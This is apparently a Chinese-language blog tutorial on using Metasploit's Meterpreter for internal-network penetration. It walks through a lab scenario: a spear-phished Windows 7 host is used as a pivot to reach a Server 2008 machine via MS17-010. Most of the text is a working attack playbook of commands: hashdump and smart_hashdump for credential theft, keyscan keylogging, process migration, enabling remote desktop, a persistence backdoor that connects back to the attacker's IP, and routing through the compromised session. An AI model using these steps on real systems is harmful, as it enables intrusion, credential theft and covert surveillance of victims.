Meterpreter在内网中灵活运用

Meterpreter在内网中灵活运用

概念

Meterpreter是metasploit中的攻击载荷的一种,常常被用于后渗透测试当中。在metasploit中也存在着其他大量的攻击载荷,但是同时也存在一定的缺陷。在运行攻击载荷时必须在目标机器上创建新的进程,否则防病毒软件会报警,从而暴露攻击行为。此外,其他攻击载荷在功能上也是有限的,仅能执行某些特定任务或在shell中运行特定命令。而meterpreter恰好弥补了这些缺陷。

工作原理

Meterpreter是既是metasploit中的攻击载荷,也是命令解释器。其使用内存DLL注入技术和原始的共享对象格式。如下图所示,meterpreter在攻击过程中其承上启下的作用,并不需要创建任何新的进程,因此也就具有更隐蔽和强大的作用。

由上图所示,漏洞利用代码在第一阶段攻击载荷发送到目标机器,执行后与目标进行绑定,同时尝试反向连接到攻击方的msfconsle中,从而建立双方之间的通信信道。然后stager加载DLL,msfconsle发送第二阶段的DLL注入载荷。成功注入后,MSF发送meterpreter DLL以建立起通信信道。最后meterpreter加载stdapi和priv等扩展。而这些扩展加载都是使用在TLS/1.0上进行的TLV协议。因此meterpreter又同时具有加密信道的优点。总而言之,meterpreter具有强大的功能与很多有点。其有点总结如下:

  1. 不需要创建新进程;
  2. 方便于在多进程间转移和切换;
  3. 驻留在内存中,不需要对磁盘进行任何写入的操作;
  4. 使用了加密通信;
  5. 可同时于多个信道通信;
  6. 具有可扩展性。

在meterpreter中可使用命令的操作非常多,我们将以实战的形式来分析各个命令的作用。

实战

学习meterpreter的最终目的还是运用于实战中。因此我们现在也以实战的方式来了解其命令的用处,同时也提高自身在实战中的。下面我们就以实战来熟悉meterpreter。

【目标环境】Windows 7(192.168.140.128) Windows Server 2008(192.168.140.138)

【本地环境】Kali Linux2018.2(149.28.57.29)

【实验说明】Windows7与Windows Server2008属同网段设备。目标为server2008,但因该设备在公网中的服务无可利用漏洞,很难从正面进行攻击。通过前期信息收集发现其内网存在一些Windows7的运维终端。因此决定另辟蹊径通过运维终端作为跳板,试图去攻击server服务器。现以通过鱼叉攻击获取某运维Windows7的meterpreter。

1.因在制作木马时使用了反向连接的方式。因此在这里也使用相应的攻击载荷进行侦听。

show options,set rhost,set lhost这些基础设置在这里就不细述了。

exploit,运行攻击载荷

2.获取反向连接的meterpreter。当meterpreter接收到时,将会看到如下界面。

3.当我们拿到目标meterpreter时,不用慌着马上去进行攻击。跟web渗透一样,先做下信息收集以及保存该会话。这里运用到的命令有:

sysinfo #获取目标系统信息

getwd #查看meterpreter所在目录


getpid #查看meterpreter的进程号


run get_local_subnets #查看当前主机的网段与掩码。在多层内网渗透以及横向扩展中可能会用到该条信息,因此该项信息收集十分有必要。


search #查找文件,用于搜索敏感文件

如:search c:/ -f passwd


cat #查看目标文件内容


screenshot  #截屏

ipconfig #这个就不用多说了,查看网络参数。

route #这个也不用多说了,查看路由表

arp #这个也不用多说了,查看arp列表。在我们web渗透中,发现目标服务器内网IP为192.168.140.138 在该arp列表中发现了此IP。说明通过该机器可以从内网访问服务器,这也给了我们更加坚定的信心——获取该设备的权限是非常有必要的。


getuid #查看运行meterpreter的当前用户


ps #查看进程信息。这里解释下查看进程信息的目的主要是为了在后渗透中,可将meterpreter进程注入到其他应用的进程中,从而达到可持续且稳定的会话。


migrate #将当前会话注入到指定进程中。如通过钓鱼邮件将meterpreter写入word文档中。当受害者关掉word文档时,meterpreter会话也就随之结束。为了获取稳定而又持续的会话,往往会将meterpreter注入到其他进程中。配合前面的PS命令一同食用。

这个地方在之前的进程查看中,了解到目标机器cmd进程为的PID为1432,因此将meterpreter进程注入到cmd进程中的命令为:migrate 1432

run post/windows/gather/enum_applications #查看补丁与更新情况


hashdump #该收集的信息也都差不多了,此时就可以把系统hash,dump下来,以方便我们远程登录

如果hashdump无法直接dump出系统hash,可尝试使用智能方式,run post/windows/gather/smart_hashdump

另外在多提一点,开启目标远程服务的命令为:run getgui -e


4.就此收集的信息已经基本足够,我们就可以开始接下来的渗透工作。

keyscan_start #该命令为键盘监听。在前期信息收集中不一定会发现与目标系统相关的信息,因此可能会用到键盘监听。

keyscan_dump #获取键盘经停的内容

keyscan_stop #停止键盘监听


5.接着我们就可以把这台机器作为据点进行根深一步的渗透了。

run persistence -X -i 5 -p 23 -r 149.28.57.29 #使用该命令将后渗透模块向该机器植入后门程序。

-X #在目标机器上开机自启动

-i #不断尝试反向连接的时间间隔


最后我们就可以保存会话然后退出,准备进一步渗透了。

background #保存并推出会话的命令,该会话会在后台运行。这里可以看到当前会话的ID。下次需要再进入该会话时就可以直接进入了。

再次进入会话的命令是 sessions -i 4


6.横向扩展

在前面的信息收集中,我们已经掌握到服务器所在网段,因此我们要将已经获取权限的机器作为跳板,进行横向扩展。

route add 192.168.140.0 255.255.255.0 4 #该命令是添加目标路由。需要注意的是后面那个”4″,也就是session ID。该命令的含义就是将session ID为4的机器作为跳板,使其成为我们的路由网关。



使用metasploit内置模块对目标服务器进行信息收集与探测


发现开放了445端口,然后使用ms17-010模块进行扫描。也发现了该服务器确实存在该漏洞。接下来就可以利用该漏洞获取新的meterpreter了。


就此,通过内部员工机器对内网服务器进行渗透的目的也就达到了,内网渗透就告一段落。对于更深入的内网渗透,如纵向内网渗透穿透多层内网、敏感数据获取、木马免杀、域内渗透等内网相关知识,将会在以后的文章中一一放出来。